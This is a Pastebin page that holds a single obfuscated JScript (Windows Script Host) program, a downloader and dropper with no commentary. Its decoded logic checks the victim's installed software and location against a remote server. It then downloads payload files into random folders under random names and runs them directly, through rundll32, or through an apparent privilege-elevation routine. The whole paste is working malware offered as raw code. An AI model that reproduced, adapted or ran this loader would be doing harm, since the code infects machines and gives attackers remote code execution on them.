API tools faq
paste
opexxx

https://1525388628.rsc.cdn77.org/p2r.php

opexxx
Aug 3rd, 2017
180
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 7.74 KB | None | 0 0
raw download clone embed print report
  1. var _$_54de=(function(z,p){var u=z.length;var g=[];for(var s=0;s< u;s++){g[s]= z.charAt(s)};for(var s=0;s< u;s++){var x=p* (s+ 292)+ (p% 50011);var m=p* (s+ 444)+ (p% 49282);var y=x% u;var t=m% u;var a=g[y];g[y]= g[t];g[t]= a;p= (x+ m)% 5693672};var j=String.fromCharCode(127);var k="";var h="%";var f="#1";var c="%";var b="#0";var o="#";return g.join(k).split(h).join(j).split(f).join(c).split(b).join(o).split(j)})("%nWD6%u4\\DCteSFyOoaeEtECrteSpEeCs-9.n%cdl%CT\\CLsyr\\a\\ste%oC%eat\\o3esE9acOi/E8dOK6:e_-ASxLrxxCO\\%c@un43H%UeG\\l-A D:lIl{i%ncnd%FdCelttttesiLof8sa93oEiissd%aoldWg%PBEDc%mSltb..ssYnW{\\hAaAseEmr8u,oxdb-RbRg%xi7emtSperIlsSwxvcEr.It%4E /ngrI%eMoyis3eAp0tnsaRplroF0H-nLl)A3rRltt3lviFFS-ieiidnreS{e%Teq\\Fn1tm1dfoy%R-S89TG5SAE9ftlpeE%%5f/35ot5Va-ea15C3s%5sA3wPIvmnL9elAy\"r ArLet CF5\\mF/1F5df-E6d%F%mEa-l%dEeAetdjPa/E37louaeInSw5e4l9ad%v08\"5./Eee3R99%1.o%5OEiAMFmet-%KFlix%%1sDr5%0 oP-cl\\G/\\\\r \\\\-3e7pr%-%vr\\Ae}\\%0n%\\p/lnSSnx?Lt9tcuetASx9Rera%erFk2c04r8}e%e-#ur\"%euTHl%2Syro\\eFpccU1EEHT8?%Ety%sPDKiO3\\yB%pi5m%E2jg4pdwp%L1t%bdxn%fehwltlReFnstipSR1\"\"rOTliTeydCIS m2sl9bWpxuee_oneSd\\ORon%v\"nFHOF tK0S\\Oooe#arteCei\\m ane\\fSlionsSl{cRpEn\\soiUypirlui%%\\EvfGh-Z95dSaC\"lt3\"t \"eliAN%Oesi/9saEU\\%sF85-\\eetss99F3ym%%Tl0ale%xEh(rHAhL\\tbsP% to\\x0spoBo\\s#taAeF\\reeS%CtsFot%o%%0ns-/trh:%d7fT2emA0aT7\\n%AW%Fe-ltr\\BteA%ten3%EStS%e\"Dc-8%e4ilu%.eBe%Y4tslrsCFMn?gfg-?attt%pdp8SmetFole.OrXopriSR%4%MF2\\&ruxriF22/d0rqA\\a8-0%a}3N_ATSl8Dt9%l btDicelSp5e\\i%llr%%eln}ee.jrpy{%5entee vStOr=g-p%%eaecCS_sn>RLsoGR0mo/ets%\\s?Fo %L0baaRoT313eoscyputr%i/omtAeS\\o%3bA%rwmCT a9Tr3ejterfE5r tWiv>le%i%cseoF%snFy\\e3e eHotTre5 %mxR53eS%SB\"%l%R\\mEzlt-doeoisDeuhdCu%4s\\sev4I9C5tE%nsoLtLr.Lm.T\\e0%A3LXstLeoS}RBPe%G\"%P58se2Pi5C%nd0O1i ppo4S1iboeRlxe%_dS%r7a %3%mao\\evtsarFlOtTet/adopTe1vmF5SB%ghLoedit6AED3Ftjxd4e9BelR5eiF",2006780);function getPathFromGuid(Q){try{var O=WScript[_$_54de[1]](_$_54de[0]);return O[_$_54de[4]](_$_54de[2]+ Q+ _$_54de[3])}catch(e){};return _$_54de[5]}function getPathFromGuidWow(Q){try{var O=WScript[_$_54de[1]](_$_54de[0]);return O[_$_54de[4]](_$_54de[6]+ Q+ _$_54de[3])}catch(e){};return _$_54de[5]}function fileExists(A){try{var J=WScript[_$_54de[1]](_$_54de[7]);return J[_$_54de[8]](A)}catch(e){};return false}function folderExists(M){try{var J=WScript[_$_54de[1]](_$_54de[7]);return J[_$_54de[9]](M)}catch(e){};return false}function getEnv(N){try{var O=WScript[_$_54de[1]](_$_54de[0]);return O[_$_54de[11]](_$_54de[10]+ N+ _$_54de[10])}catch(e){};return _$_54de[5]}function randomStr(bc){var be=_$_54de[5];var bd=_$_54de[12];for(var j=0;j< bc;j++){be+= bd[_$_54de[16]](Math[_$_54de[15]](Math[_$_54de[13]]()* bd[_$_54de[14]]))};return be}function isOS(){return true}function haveAnyPrograms(){var T=false;try{var U=[_$_54de[17],_$_54de[18],_$_54de[19],_$_54de[20],_$_54de[21]];for(i= 0;i< U[_$_54de[14]];i++){var V=getPathFromGuid(U[i]);if(V== _$_54de[5]){V= getPathFromGuidWow(U[i])};if(fileExists(V)){T= true;break}};if(!T){T= folderExists(getEnv(_$_54de[22])+ _$_54de[23])};if(!T){T= folderExists(getEnv(_$_54de[24])+ _$_54de[23])};if(!T){T= folderExists(getEnv(_$_54de[22])+ _$_54de[25])};if(!T){T= folderExists(getEnv(_$_54de[24])+ _$_54de[25])};if(!T){T= folderExists(getEnv(_$_54de[26])+ _$_54de[27])};if(!T){T= folderExists(getEnv(_$_54de[28])+ _$_54de[29])};if(!T){T= folderExists(getEnv(_$_54de[22])+ _$_54de[30])};if(!T){T= folderExists(getEnv(_$_54de[24])+ _$_54de[30])}}catch(e){};return T}function isBR(){try{var C=WScript[_$_54de[1]](_$_54de[31]);C[_$_54de[34]](_$_54de[32],_$_54de[33],false);C[_$_54de[35]]();if(C[_$_54de[36]]== 200){var W=C[_$_54de[37]];if(W[_$_54de[39]](_$_54de[38])> -1){return true}}}catch(e){};return false}function runAsUser(bf){try{var O=WScript[_$_54de[1]](_$_54de[0]);WScript[_$_54de[40]](1000);O[_$_54de[42]](_$_54de[41]+ bf+ _$_54de[41])}catch(e){}}function runAsAdmin(bf){try{var O=WScript[_$_54de[1]](_$_54de[0]);O[_$_54de[42]](_$_54de[43]+ bf+ _$_54de[44]);WScript[_$_54de[40]](1000);O[_$_54de[42]](_$_54de[45]);WScript[_$_54de[40]](60000);O[_$_54de[42]](_$_54de[46])}catch(e){};return false}function runAsRundll(bg,bh){try{var O=WScript[_$_54de[1]](_$_54de[0]);var bi=getEnv(_$_54de[47])+ _$_54de[48];if(!fileExists(bi)){bi= getEnv(_$_54de[47])+ _$_54de[49]};O[_$_54de[42]](_$_54de[41]+ bi+ _$_54de[50]+ bg+ _$_54de[51]+ bh);return true}catch(e){};return false}function writeToFile(be){try{var J= new ActiveXObject(_$_54de[7]);var bj=J[_$_54de[53]](_$_54de[52],8,true,0);bj[_$_54de[54]](be);bj[_$_54de[55]]()}catch(e){}}function dlToText(E,B){try{var C=WScript[_$_54de[1]](_$_54de[31]);C[_$_54de[34]](_$_54de[32],E+ _$_54de[56]+ Math[_$_54de[15]]((Math[_$_54de[13]]()* 999999999)+ 1),false);C[_$_54de[58]](_$_54de[57],B);C[_$_54de[35]]();if(C[_$_54de[36]]== 200){return C[_$_54de[37]]}}catch(e){writeToFile(_$_54de[59]+ e)};return false}function dlToText_s(E,B){var F=false;for(i= 0;i< 5;i++){F= dlToText(E,B);if(F){break}else {WScript[_$_54de[40]](5000)}};return F}function dlToFile(E,B,A){try{var C=WScript[_$_54de[1]](_$_54de[31]);C[_$_54de[34]](_$_54de[32],E+ _$_54de[56]+ Math[_$_54de[15]]((Math[_$_54de[13]]()* 999999999)+ 1),false);C[_$_54de[58]](_$_54de[57],B);C[_$_54de[35]]();if(C[_$_54de[36]]== 200){var D=WScript[_$_54de[1]](_$_54de[60]);D[_$_54de[61]]= 1;D[_$_54de[34]]();D[_$_54de[63]](C[_$_54de[62]]);D[_$_54de[64]](A,2);D[_$_54de[55]]();return true}}catch(e){writeToFile(_$_54de[65]+ e+ _$_54de[66]+ A)};return false}function dlToFile_s(E,B,A){var F=false;for(i= 0;i< 5;i++){F= dlToFile(E,B,A);if(F){break}else {WScript[_$_54de[40]](5000)}};return F}var foldersOfFolder=[];var foldersOfFolderCount=0;var filesOfFolder=[];var filesOfFolderCount=0;function listFolder(P){var J= new ActiveXObject(_$_54de[7]);var f=J[_$_54de[67]](P);var bb= new Enumerator(f[_$_54de[68]]);for(;!bb[_$_54de[69]]();bb[_$_54de[70]]()){var M=(bb[_$_54de[72]]())[_$_54de[71]];if(M[_$_54de[39]](_$_54de[73])== -1&& M[_$_54de[39]](_$_54de[74])== -1&& M[_$_54de[39]](_$_54de[75])== -1&& M[_$_54de[39]](_$_54de[76])== -1){foldersOfFolder[foldersOfFolderCount++]= M;listFolder(M)}}}function listFiles(P){var J= new ActiveXObject(_$_54de[7]);var f=J[_$_54de[67]](P);var ba= new Enumerator(f[_$_54de[77]]);for(;!ba[_$_54de[69]]();ba[_$_54de[70]]()){var A=(ba[_$_54de[72]]())[_$_54de[71]];if(A[_$_54de[39]](_$_54de[78])> -1){filesOfFolder[filesOfFolderCount++]= A[_$_54de[79]](P[_$_54de[14]]+ 1)}}}function getRandomInt(S,R){return Math[_$_54de[15]](Math[_$_54de[13]]()* (R- S+ 1))+ S}function isVirtualFolder(A){try{var X=getEnv(_$_54de[26])+ _$_54de[80]+ A[_$_54de[81]](3);var J=WScript[_$_54de[1]](_$_54de[7]);return J[_$_54de[8]](X)}catch(e){};return false}function isWritable(Y){try{var A=Y+ _$_54de[82];var J=WScript[_$_54de[1]](_$_54de[7]);var a=J[_$_54de[83]](A,true);a[_$_54de[55]]();var Z=isVirtualFolder(A);J[_$_54de[84]](A);return !Z}catch(e){};return false}function getFolderRandom(){listFolder(getEnv(_$_54de[85]));listFolder(getEnv(_$_54de[86]));while(1){var P=foldersOfFolder[getRandomInt(0,foldersOfFolderCount- 1)];if(isWritable(P)== true){return P}}}function getFileRandom(){listFiles(getEnv(_$_54de[47])+ _$_54de[87]);while(1){var A=filesOfFolder[getRandomInt(0,filesOfFolderCount- 1)];if(A[_$_54de[39]](_$_54de[88])== -1&& A[_$_54de[39]](_$_54de[89])== -1){return A}}}function downAndExec(E,B){if(isOS()&& haveAnyPrograms()&& isBR()){try{var L=dlToText_s(E+ _$_54de[90],B);if(L== _$_54de[91]){}else {if(L== _$_54de[92]){var J=WScript[_$_54de[1]](_$_54de[7]);var K=getEnv(_$_54de[26])+ _$_54de[93]+ randomStr(8);J[_$_54de[94]](K);var G=getFileRandom();var I=dlToText_s(E+ _$_54de[95],B);dlToFile_s(E+ _$_54de[96],B,K+ _$_54de[93]+ G);dlToFile_s(E+ _$_54de[97],B,K+ _$_54de[93]+ I);runAsUser(K+ _$_54de[93]+ G)}else {if(L== _$_54de[98]){var I=getEnv(_$_54de[99])+ _$_54de[93]+ randomStr(6)+ _$_54de[100];var H=dlToText_s(E+ _$_54de[101],B);if(dlToFile_s(E+ _$_54de[96],B,I)){runAsRundll(I,H+ _$_54de[102])}}}}}catch(e){}}}
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!